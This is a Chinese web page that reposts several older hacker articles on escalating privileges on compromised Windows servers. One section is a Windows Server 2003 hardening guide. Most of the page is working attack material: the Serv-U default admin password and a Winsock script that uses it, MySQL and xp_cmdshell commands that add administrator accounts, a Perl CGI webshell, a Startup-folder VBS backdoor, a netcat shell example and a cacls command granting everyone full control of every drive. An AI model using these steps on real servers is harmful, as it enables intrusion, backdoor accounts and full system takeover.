您的位置:首页 > 其它

转载的Serv-u 本地权限提升漏洞的终极防御

2008-01-03 10:17 585 查看

Serv-u 本地权限提升漏洞的终极防御

Serv-u Ftp server(以下简称Serv-u)是一个应用比较广泛的Ftp Server,功能强大,使用方便,Serv-u>3.x版本存在本地权限提升漏洞,使用guest权限结合Exp可以以system权限运行程序,通过Webshell结合Exp提升权限已经成了很常用提升方法。

漏洞简介:

漏洞是使用Serv-u本地默认管理端口,以默认管理员登陆新建域和用户来执行命令,Serv-u>3.x版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。

防止办法和对策:

一般防止方法:设置目录权限,通过去掉Web目录iusr用户的执行权限来防止使用Webshell来运行Exp程序。

对策:这种方法有一定的局限性,需要设置的目录很多,不能有一点疏漏,比如我就发现很多虚拟主机在C:\Documents and Settings\All Users\Documents目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp,这种目录还有x:\php,x:\perl等,因为这种目录都是everyone完全控制的。有些主机还支持php,pl,aspx等,这简直就是服务器的Serv-U灾难,^_^,运行程序更加方便。

高级一点的防止办法:修改Serv-u管理端口,用Ultraedit打开ServUDaemon.exe查找B6AB(43958的16进制),替换成自己定义的端口比如3930(12345),打开ServUAdmin.exe找到最后一个B6AB替换成3930(12345),启动Serv-u,现在本地管理端口就成了12345了:

程序代码:

TCP 127.0.0.1:12345 0.0.0.0:0 LISTENING

对策:对付这种也很简单,netstat –an,就能看到端口了,有人说netstat无法运行,其实你再上传个netstat.exe到可执行目录运行就ok了,然后修改一下Exp编译,上传运行就好了,我修改了一个可以自定义端口的Exp,运行格式:

程序代码:

USAGE: serv-u.exe port "command"

Example: serv-u.exe 43958 "net user xl xiaoxue /add"

更高级的防止办法:修改管理员名和密码,用Ultraedit打开ServUDaemon.exe查找Ascii:LocalAdministrator,和#l@$ak#.lk;0@P,修改成等长度的其它字符就可以了,ServUAdmin.exe也一样处理。

对策:这下默认的管理员连接不上了,还有办法么?嘿嘿,有的管理员安装Serv-u都是使用默认目录C:\Program Files\Serv-U安装,这个目录虽然不能写,也不能修改,但是默认iusr是可以读的,我们可以用webshell来下载ServUDaemon.exe,用Ultraedit打开分析一下,Serv-U的帐号密码就到手了,修改Exp编译上传运行,我们又胜利了。

终极防御:

1.设置好目录权限,不要疏忽大意;

2.Serv-U最好不要使用默认安装路径,设置Serv-U目录的权限,只有管理员才能访问;

3.用我介绍的办法修改Serv-U的默认管理员名字和密码,喜欢的话端口也可以改掉。

后记:

入侵和防御就像矛和盾,盾上不能有任何薄弱之处,不然就会死的很难看。本文旨在为服务器管理员提供防御这个漏洞的办法,不足之处,请各位高手指教。(以上测试在Serv-u 5.0,5.1,5.2上通过)

补充点:

ServUDaemon.exe

搜索最后面的127.0.0.1可以找到用户名

LocalSetupPortNo下面是密码

MYSQL用户root密码为空又一攻击方法

  在网上我发了一张关于MYSQL用户ROOT密码为空的贴,在网上我也找到一些利用此漏洞的方法,一般就是写一个ASP或PHP的后门,不仅很麻烦,而且还要猜解网站的目录,如果对方没有开IIS,那我们岂不没办法了??

后来,自己思索想到一个办法,在我测试的几台有此漏洞的机中均获得了成功,现将我的攻击方法公布如下:

1、连接到对方MYSQL 服务器

mysql -u root -h 192.168.0.1

mysql.exe 这个程序在你安装了MYSQL的的BIN目录中

2、让我们来看看服务器中有些什么数据库

mysql>show databases;

MYSQL默认安装时会有MYSQL、TEST这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。

3、让我们进入数据库

mysql>use test;

我们将会进入test数据库中

4、查看我们进入数据库中有些什么数据表

mysql>show tables;

默认的情况下,test中没有任何表的存在。

以下为关键的部分

5、在TEST数据库下创建一个新的表;

mysql>create table a (cmd text);

好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

6、在表中插入内容

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add"",0) " );

mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators zjl317 /add"",0) " );

注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!

7、好了,现在我们来看看表a中有些什么

mysql>select * from a;

我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

8、输出表为一个VBS的脚本文件

mysql>select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs";

我们把我们表中的内容输入到启动组中,是一个VBS的脚本文件!注意“\"符号。

9、看到这大家肯定知道了,就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢,因为启动运行时会有明显的DOS窗口出来,而用VBS脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!好了,找个工具攻击135让服务器重启吧,几分钟以后你就是管理员了。

SQL Server提升权限相关命令及防范

;exec master..xp_cmdshell "net user name password /add"--

;exec master..xp_cmdshell "net localgroup administrators name /add"--

程序代码开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在

select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

返回结果为1就OK

恢复xp_cmdshell

Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

返回结果为1就OK

否则上传xplog7.0.dll

Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'

堵上cmdshell的SQL语句

sp_dropextendedproc "xp_cmdshell"

DOS:

dir c:/

dir d:/

dir e:/

net user TsInternetUsers Password /add

net localGroup Administrators TsInternetUsers /add

备份恢复IPSEC

secedit /export /CFG c:/tmp.inf

echo sedenynetworklogonright =>>c:/tmp.inf

secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf

SQL:

exec master..sp_addlogin UserName,Password

exec master..sp_addsrvrolemember UserName,sysadmin

Serv-u6.0提权新招

适用环境:服务器禁用FSO,关掉Wscript.shelll,没有执行权限。

限制:没有更改管理员的密码,或者破解出了Serv-U的管理员的密码。Serv-U默认用户名:localadministrator 密码:#|@$ak#.|k;0@p 下面用MSWinsock。Winsock建立一个连接,并且以System权限添加超级用户,代码如下:

Dim revdata

Dim sendata

Set sock=createobject(“MSWinsock.Winsock”)

Sock.protocol=0

Sock.connect “127.0.0.1”,43958

Sendata=”LocalAdministrator”& chr(10) &chr(13)

Sock.senddata snedata

Sendata=”#|@$ak#.|k;0@p” &chr(10) &chr(13)

Sock.senddata.sendata

使用这个代码就可以连上FTP了,接下来用Sock.senddata sendata 发送添加有执行权限用户的命令,想必大家该知道怎么做了吧,对了,就是用”site exec net user hacker hacker /add” “site exec net localgroup administrators hacker /add”

呵呵,就这样系统权限到手了,祝大家好运!

对Serv-U 6.0.0.2默认帐户及密码的一点理解

今天获得一个webshell.发现了serv-u目录.看了下ServUDaemon.ini

[GLOBAL]

Version=6.0.0.2

OpenFilesDownloadMode=Exclusive

PacketTimeOut=300

LocalSetupPassword=ah6A0ED50ADD0A516DA36992DB43F3AA39

6.0.0.2版的.曾经看到哪说6.0版的默认本地管理帐号和密码依旧是原来那个.可又好像听谁说过6版的密码已经改了..

呵.这里发现.多出了一行Localsetuppassword.有种不详的预感.难道原来的默认密码已经通过它来设置了?加了MD5,算算纯数字倒还是可以.机会渺茫..

试试能不能写入...显示权限不足(一切都在预料之内).OK试试默认帐户和密码吧.

上传了xiaolu的那个serv-u权限提升工具

netstat -an |find "43958"

TCP 127.0.0.1:43958 0.0.0.0:0 LISTENING

嗯,是这个口.

执行命令

D:\web\www\XXXX_com\serv-u.exe 43958 "net user xiaoqi amen. /add "

******************************************************

Serv-u <3.x Local Exploit by xiaolu

>221 Serv-U FTP Server v6.0 for WinSock ready...

>331 User name okay, need password.

******************************************************

#l@$ak#.lk;0@P

>530 Not logged in.

******************************************************

看到530,心凉了一下,这么说来默认密码被改了.

上群里想获得一下确认.Superhei给了个很好的思路.下载主程序用UEDIT查看密码.

serv-u 6.0版之前要修改默认密码也是同样的方法,而且密码长度要求同样要求是14位(用其他字符替换#l@$ak#.lk;0@P)..

打开ServUAdmin.exe查了下,发现密码依旧是#l@$ak#.lk;0@P(特地复制到记事本观察,防止0/O l/1等字符混淆).确实没有变.

那么,看来Serv-u已经不依靠它来验证了?

为了找出真像.下载了一个Serv-U 6.0.0.2版(未装汉化,未破解,防止低版本汉化及破解补丁)

之前就在想,为什么Serv-U不可以提供一个让管理员修改密码的地方了?多少个服务器OVER的责任在Serv-U上啊?

好!这次来了,刚打开serv-u admin,发现在"停止服务"下面多了一个"设置更改密码"的按钮.

再来看看ServUDaemon.ini,除了版本改变了以外,与原来并没有不同之处.

回到控制台点开"设置更改密码"要求输入旧密码,新密码,确认.旧密码?旧密码是什么?#l@$ak#.lk;0@P吗?

提示密码不正确..怪了.试了下空密码...正确..这可把我郁闷了.难道在Serv-U 6.0.0.2里LocalAdministrator的密码就是空???

把xiaolu的权限提升工具拿来改了下,把密码改成空.编译好重新传了上去.

执行命令

D:\web\www\XXXX_com\serv-u2.exe 43958 "net user xiaoqi amen. /add "

******************************************************

Serv-u <3.x Local Exploit by xiaolu

>221 Serv-U FTP Server v6.0 for WinSock ready...

>331 User name okay, need password.

******************************************************

>530 Not logged in.

******************************************************

依然是530.呵..真是在做梦啊我.不过这次失败并不能代表默认密码不为空(因为这台机器的配置文件中有LocalSetupPassword=)

好的.回过头,看了下我机器上的ServUDaemon.ini,果然多了一行Localsetuppassword=xxxxxxx,看来确是刚才配置密码的MD5了.把我机器上Serv-u的密码改成空的(竟然允许我空的)再用这个serv-u2.exe试了下.不行..530,脑中突然闪过,难道"空"就是#l@$ak#.lk;0@P

操起serv-u.exe,yeah!成功.

到这里我们要开始怀疑一个问题了,如果修改了密码,那么就需要进行二次验证了?一次是#l@$ak#.lk;0@P 一次是修改完的密码.

呵..兴冲冲地跟superhei说了句"二次验证",修改了下那个权限提升工具,把其中的密码改为我在Serv-U中设置的密码,连上了.证明了没有进行二次验证.

总结一下,在Serv-U 6.0.0.2版本中,初始密码依旧是#l@$ak#.lk;0@P 但可以很方便地在Serv-U admin控制台修改密码,修改完密码,配置保存在ServUDaemon.ini的LocalSetupPassword=中.

原来的#l@$ak#.lk;0@P依旧保存只有当密码为空时使用.

另:要修改本地管理端口.只需要在ServUDaemon.ini中的[global]里加上一行LocalSetupPortNo=端口号,既可

btw: 这些没有技术含量的东西,希望大家多多原谅,原本写的一些东西只是想丢在blog里自己安慰安慰,大家转载完实在是折煞我了.

[安全配置]Windows Server 2003 安全配置实战演习

作者:JHACKJ 文章来源:http://cqhk.14023.com 点击数:55 更新时间:2005-4-8

Windows Server 2003 安全配置实战演习

windows server2003是目前最为成熟的网络服务器平台,安全性相对于windows 2000有大大的提高,但是2003默认的安全配置不一定适合我们的需要,所以,我们要根据实际情况来对win2003进行全面安全配置。说实话,安全配置是一项比较有难度的网络技术,权限配置的太严格,好多程序又运行不起,权限配置的太松,又很容易被黑客入侵,做为网络管理员,真的很头痛,因此,我结合这几年的网络安全管理经验,总结出以下一些方法来提高我们服务器的安全性。

第一招:正确划分文件系统格式,选择稳定的操作系统安装盘

为了提高安全性,服务器的文件系统格式一定要划分成NTFS(新技术文件系统)格式,它比FAT16、FAT32的安全性、空间利用率都大大的提高,我们可以通过它来配置文件的安全性,磁盘配额、EPS文件加密等。如果你已经分成FAT32的格式了,可以用CONVERT 盘符 /FS:NTFS /V 来把FAT32转换成NTFS格式。正确安装windows 2003 server,在网安联盟http://cqhk.14023.com/Soft/yyrj/bigsoft/200504/502.asp有windows 2003的企业可升级版,这个一个完全破解了的版本,可以直接网上升级,我们安装时尽量只安装我们必须要用的组件,安装完后打上最新的补丁,到网上升级到最新版本!保证操作系统本身无漏洞。

第二招:正确设置磁盘的安全性,具体如下(虚拟机的安全设置,我们以asp程序为例子)重点:

1、系统盘权限设置

C:分区部分:

c:\

administrators 全部(该文件夹,子文件夹及文件)

CREATOR OWNER 全部(只有子文件来及文件)

system 全部(该文件夹,子文件夹及文件)

IIS_WPG 创建文件/写入数据(只有该文件夹)

IIS_WPG(该文件夹,子文件夹及文件)

遍历文件夹/运行文件

列出文件夹/读取数据

读取属性

创建文件夹/附加数据

读取权限

c:\Documents and Settings

administrators 全部(该文件夹,子文件夹及文件)

Power Users (该文件夹,子文件夹及文件)

读取和运行

列出文件夹目录

读取

SYSTEM全部(该文件夹,子文件夹及文件)

C:\Program Files

administrators 全部(该文件夹,子文件夹及文件)

CREATOR OWNER全部(只有子文件来及文件)

IIS_WPG (该文件夹,子文件夹及文件)

读取和运行

列出文件夹目录

读取

Power Users(该文件夹,子文件夹及文件)

修改权限

SYSTEM全部(该文件夹,子文件夹及文件)

TERMINAL SERVER USER (该文件夹,子文件夹及文件)

修改权限

2、网站及虚拟机权限设置(比如网站在E盘)

说明:我们假设网站全部在E盘wwwsite目录下,并且为每一个虚拟机创建了一个guest用户,用户名为vhost1...vhostn并且创建了一个webuser组,把所有的vhost用户全部加入这个webuser组里面方便管理

E:\

Administrators全部(该文件夹,子文件夹及文件)

E:\wwwsite

Administrators全部(该文件夹,子文件夹及文件)

system全部(该文件夹,子文件夹及文件)

service全部(该文件夹,子文件夹及文件)

E:\wwwsite\vhost1

Administrators全部(该文件夹,子文件夹及文件)

system全部(该文件夹,子文件夹及文件)

vhost1全部(该文件夹,子文件夹及文件)

3、数据备份盘

数据备份盘最好只指定一个特定的用户对它有完全操作的权限

比如F盘为数据备份盘,我们只指定一个管理员对它有完全操作的权限

4、其它地方的权限设置

请找到c盘的这些文件,把安全性设置只有特定的管理员有完全操作权限

下列这些文件只允许administrators访问

net.exe

net1.exet

cmd.exe

tftp.exe

netstat.exe

regedit.exe

at.exe

attrib.exe

cacls.exe

format.com

5.删除c:\inetpub目录,删除iis不必要的映射,建立陷阱帐号,更改描述

第三招:禁用不必要的服务,提高安全性和系统效率

Computer Browser 维护网络上计算机的最新列表以及提供这个列表

Task scheduler 允许程序在指定时间运行

Routing and Remote Access 在局域网以及广域网环境中为企业提供路由服务

Removable storage 管理可移动媒体、驱动程序和库

Remote Registry Service 允许远程注册表操作

Print Spooler 将文件加载到内存中以便以后打印。要用打印机的朋友不能禁用这项

IPSEC Policy Agent 管理IP安全策略以及启动ISAKMP/OakleyIKE)和IP安全驱动程序

Distributed Link Tracking Client 当文件在网络域的NTFS卷中移动时发送通知

Com+ Event System 提供事件的自动发布到订阅COM组件

Alerter 通知选定的用户和计算机管理警报

Error Reporting Service 收集、存储和向 Microsoft 报告异常应用程序

Messenger 传输客户端和服务器之间的 NET SEND 和 警报器服务消息

Telnet 允许远程用户登录到此计算机并运行程序

第四招:修改注册表,让系统更强壮

1、隐藏重要文件/目录可以修改注册表实现完全隐藏:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ Current-Version\Explorer\Advanced\Folder\Hi-dden\SHOWALL”,鼠标右击 “CheckedValue”,选择修改,把数值由1改为0

  2、启动系统自带的Internet连接防火墙,在设置服务选项中勾选Web服务器。

  3、防止SYN洪水攻击

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

新建DWORD值,名为SynAttackProtect,值为2

EnablePMTUDiscovery REG_DWORD 0

NoNameReleaseOnDemand REG_DWORD 1

EnableDeadGWDetect REG_DWORD 0

KeepAliveTime REG_DWORD 300,000

PerformRouterDiscovery REG_DWORD 0

EnableICMPRedirects REG_DWORD 0

  4. 禁止响应ICMP路由通告报文

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\interface

  新建DWORD值,名为PerformRouterDiscovery 值为0

  5. 防止ICMP重定向报文的攻击

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

  将EnableICMPRedirects 值设为0

  6. 不支持IGMP协议

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

新建DWORD值,名为IGMPLevel 值为0

7.修改终端服务端口

运行regedit,找到[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp],看到右边的PortNumber了吗?在十进制状态下改成你想要的端口号吧,比如7126之类的,只要不与其它冲突即可。

  2、第二处HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,方法同上,记得改的端口号和上面改的一样就行了。

8、禁止IPC空连接:

cracker可以利用net use命令建立空连接,进而入侵,还有net view,nbtstat这些都是基于空连接的,禁止空连接就好了。打开注册表,找到Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 把这个值改成”1”即可。

9、更改TTL值

cracker可以根据ping回的TTL值来大致判断你的操作系统,如:

TTL=107(WINNT);

TTL=108(win2000);

TTL=127或128(win9x);

TTL=240或241(linux);

TTL=252(solaris);

TTL=240(Irix);

实际上你可以自己更改的:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters:DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)改成一个莫名其妙的数字如258,起码让那些小菜鸟晕上半天,就此放弃入侵你也不一定哦

10. 删除默认共享

有人问过我一开机就共享所有盘,改回来以后,重启又变成了共享是怎么回事,这是2K为管理而设置的默认共享,必须通过修改注册表的方式取消它:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters:AutoShareServer类型是REG_DWORD把值改为0即可

11. 禁止建立空连接

默认情况下,任何用户通过通过空连接连上服务器,进而枚举出帐号,猜测密码。我们可以通过修改注册表来禁止建立空连接:

Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 的值改成”1”即可。

第五招:其它安全手段

1.禁用TCP/IP上的NetBIOS

网上邻居-属性-本地连接-属性-Internet协议(TCP/IP)属性-高级-WINS面板-NetBIOS设置-禁用TCP/IP上的NetBIOS。这样cracker就无法用nbtstat命令来读取你的NetBIOS信息和网卡MAC地址了。

2. 账户安全

首先禁止一切账户,除了你自己,呵呵。然后把Administrator改名。我呢就顺手又建了个Administrator账户,不过是什么权限都没有的那种,然后打开记事本,一阵乱敲,复制,粘贴到“密码”里去,呵呵,来破密码吧~!破完了才发现是个低级账户,看你崩溃不?

创建2个管理员用帐号

虽然这点看上去和上面这点有些矛盾,但事实上是服从上面的规则的。 创建一个一般权限帐号用来收信以及处理一些*常事物,另一个拥有Administrators 权限的帐户只在需要的时候使用。可以让管理员使用 “ RunAS” 命令来执行一些需要特权才能作的一些工作,以方便管理

3.更改C:\WINDOWS\Help\iisHelp\common\404b.htm内容改为<META HTTP-EQUIV=REFRESH CONTENT="0;URL=/;">这样,出错了自动转到首页

4. 安全日志

我遇到过这样的情况,一台主机被别人入侵了,系统管理员请我去追查凶手,我登录进去一看:安全日志是空的,倒,请记住:Win2000的默认安装是不开任何安全审核的!那么请你到本地安全策略->审核策略中打开相应的审核,推荐的审核是:

账户管理 成功 失败

登录事件 成功 失败

对象访问 失败

策略更改 成功 失败

特权使用 失败

系统事件 成功 失败

目录服务访问 失败

账户登录事件 成功 失败

审核项目少的缺点是万一你想看发现没有记录那就一点都没辙;审核项目太多不仅会占用系统资源而且会导致你根本没空去看,这样就失去了审核的意义

5. 运行防毒软件

我见过的Win2000/Nt服务器从来没有见到有安装了防毒软件的,其实这一点非常重要。一些好的杀毒软件不仅能杀掉一些著名的病毒,还能查杀大量木马和后门程序。这样的话,“黑客”们使用的那些有名的木马就毫无用武之地了。不要忘了经常升级病毒库,我们推荐mcafree杀毒软件+blackice防火墙

6.sqlserver数据库服务器安全和serv-u ftp服务器安全配置,更改默认端口,和管理密码

7.设置ip筛选、用blackice禁止木马常用端口

一般禁用以下端口

135 138 139 443 445 4000 4899 7626

8.本地安全策略和组策略的设置,如果你在设置本地安全策略时设置错了,可以这样恢复成它的默认值.

打开 %SystemRoot%\Security文件夹,创建一个 "OldSecurity"子目录,将%SystemRoot%\Security下所有的.log文件移到这个新建的子文件夹中.

在%SystemRoot%\Security\database\下找到"Secedit.sdb"安全数据库并将其改名,如改为"Secedit.old".

启动"安全配置和分析"MMC管理单元:"开始"->"运行"->"MMC",启动管理控制台,"添加/删除管理单元",将"安全配置和分析"管理单元添加上.

右击"安全配置和分析"->"打开数据库",浏览"C:\WINNT\security\Database"文件夹,输入文件名"secedit.sdb",单击"打开".

当系统提示输入一个模板时,选择"Setup Security.inf",单击"打开".

如果系统提示"拒绝访问数据库",不管他.

你会发现在"C:\WINNT\security\Database"子文件夹中重新生成了新的安全数据库,在"C:\WINNT\security"子文件夹下重新生成了log文件.安全数据库重建成功.

[权限提升][转载]提权总结21种办法篇

文章作者:ring

以下全部是本人提权时候的总结 很多方法至今没有机会试验也没有成功,但是我是的确看见别人成功过的。本人不才,除了第一种方法自己研究的,其他的都是别人的经验总结。希望对朋友有帮助!

1.radmin连接法

 条件是你权限够大,对方连_blank">防火墙也没有。封装个radmin上去,运行,开对方端口,然后radmin上去。本人从来米成功过。,端口到是给对方打开了。

2.paanywhere

 C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 这里下他的GIF文件,在本地安装pcanywhere上去

3.SAM破解

 C:\WINNT\system32\config\ 下他的SAM 破解之

4.SU密码夺取

 C:\Documents and Settings\All Users\「开始」菜单\程序\

 引用:Serv-U,然后本地查看属性,知道路径后,看能否跳转

 进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空

[USER=WekweN|1]

Password=

HomeDir=c:\

TimeOut=600

Maintenance=System

Access1=C:\|RWAMELCDP

Access1=d:\|RWAMELCDP

Access1=f:\|RWAMELCDP

SKEYValues=

这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限

5.c:\winnt\system32\inetsrv\data\

 引用:就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

6.SU溢出提权

 这个网上教程N多 不详细讲解了

7.运行Csript

 引用:运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限

用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll

再将asp.dll加入特权一族

asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)

我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"

可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

8.脚本提权

c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs

9.VNC

 这个是小花的文章 HOHO

 默认情况下VNC密码存放在HKCU\Software\ORL\WinVNC3\Password

 我们可以用vncx4

 破解它,vncx4使用很简单,只要在命令行下输入

 c:\>vncx4 -W

 然后顺序输入上面的每一个十六进制数据,没输完一个回车一次就行了。

10.NC提权

 给对方来个NC 但是条件是你要有足够的运行权限 然后把它反弹到自己的电脑上 HOHO OK了

11.社会工程学之GUEST提权

 很简单 查看他的拥护 一般来说 看到帐户以后 密码尽量猜可能用户密码一样 也可能是他QQ号 邮箱号 手机号 尽量看看 HOHO

12.IPC空连接

 如果对方真比较白痴的话 扫他的IPC 如果运气好还是弱口令

13.替换服务

 这个不用说了吧?个人感觉相当复杂

14.autorun .inf

 autorun=xxx.exe 这个=后面自己写 HOHO 加上只读、系统、隐藏属性 传到哪个盘都可以的 不相信他不运行

15.desktop.ini与Folder.htt

 引用:首先,我们现在本地建立一个文件夹,名字不重要,进入它,在空白处点右键,选择“自定义文件夹”(xp好像是不行的)一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件,(如果你看不到,先取消“隐藏受保护的操作系统文件”)然后我们在Folder setting目录下找到Folder.htt文件,记事本打开,在任意地方加入以下代码: <OBJECT ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”> </OBJECT> 然后你将你的后门文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方任意一个目录下,就可以了,只要等管理员浏览了此目录,它就执行了我们的后门

16.su覆盖提权

 本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉,重起一下Serv-U,于是你上面的所有配置都与他的一模一样了

17.SU转发端口

 43958这个是 Serv -U 的本地管理端口。FPIPE.exe上传他,执行命令: Fpipe –v –l 3333 –r 43958 127.0.0.1 意思是将4444端口映射到43958端口上。 然后就可以在本地安装一个Serv-u,新建一个服务器,IP填对方IP,帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的Serv-u了

18.SQL帐户密码泄露

 如果对方开了MSSQL服务器,我们就可以通过用SQL连接器加管理员帐号(可以从他的连接数据库的ASP文件中看到),因为MSSQL是默认的SYSTEM权限。

 引用:对方没有删除xp_cmdshell 方法:使用Sqlexec.exe,在host 一栏中填入对方IP,User与Pass中填入你所得到的用户名与密码。format选择xp_cmdshell”%s”即可。然后点击connect,连接上后就可以在CMD一栏中输入你想要的CMD命令了

19.asp.dll

 引用:因为asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定相同)

我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"

好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去

了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到C:\Inetpub\AdminScripts>这个目录下.

那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东.

20.Magic Winmail

 前提是你要有个webshell 引用:_blank>http://www.eviloctal.com/forum/read.php?tid=3587这里去看吧

21.DBO……



 其实 提升权限的方式很多的 就看大家怎么利用了 HOHO加油吧 将服务器控制到底

[权限提升]提升权限终极技巧

本篇文章结合了许多高手提升权限的技巧和自己的一些想法

当我们取得一个webshell时候,下一部要做的就是提升权限

个人总结如下:

1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\

看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆

ps: 破解工具本站已提供。请自己Search一下!

2.C:\WINNT\system32\config\

进这里下它的SAM,破解用户的密码

用到破解sam密码的软件有LC,SAMinside

3.C:\Documents and Settings\All Users\「开始」菜单\程序\

看这里能跳转不,我们从这里可以获取好多有用的信息

可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转

进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空

[USER=WekweN|1]

Password=

HomeDir=c:\

TimeOut=600

Maintenance=System

Access1=C:\|RWAMELCDP

Access1=d:\|RWAMELCDP

Access1=f:\|RWAMELCDP

SKEYValues=

这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限

4.c:\winnt\system32\inetsrv\data\

就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

5.看能否跳转到如下目录

c:\php, 用phpspy

c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell

#!/usr/bin/perl

binmode(STDOUT);

syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);

$_ = $ENV{QUERY_STRING};

s/%20/ /ig;

s/%2f/\//ig;

$execthis = $_;

syswrite(STDOUT, "<HTML><PRE>\r\n", 13);

open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";

system($execthis);

syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);

close(STDERR);

close(STDOUT);

exit;

保存为cgi执行,

如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c\perl\bin\su.exe
返回:

Serv-u >3.x Local Exploit by xiaolu

USAGE: serv-u.exe "command"

Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"

现在是 IUSR 权限,提交:
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F"

如果返回下面的信息,就表示成功了

Serv-u >3.x Local Exploit by xiaolu

<220 Serv-U FTP Server v5.2 for WinSock ready...

>USER LocalAdministrator

<331 User name okay, need password.

******************************************************

>PASS #l@$ak#.lk;0@P

<230 User logged in, proceed.

******************************************************

>SITE MAINTENANCE

******************************************************

[+] Creating New Domain...

<200-DomainID=2

<220 Domain settings saved

******************************************************

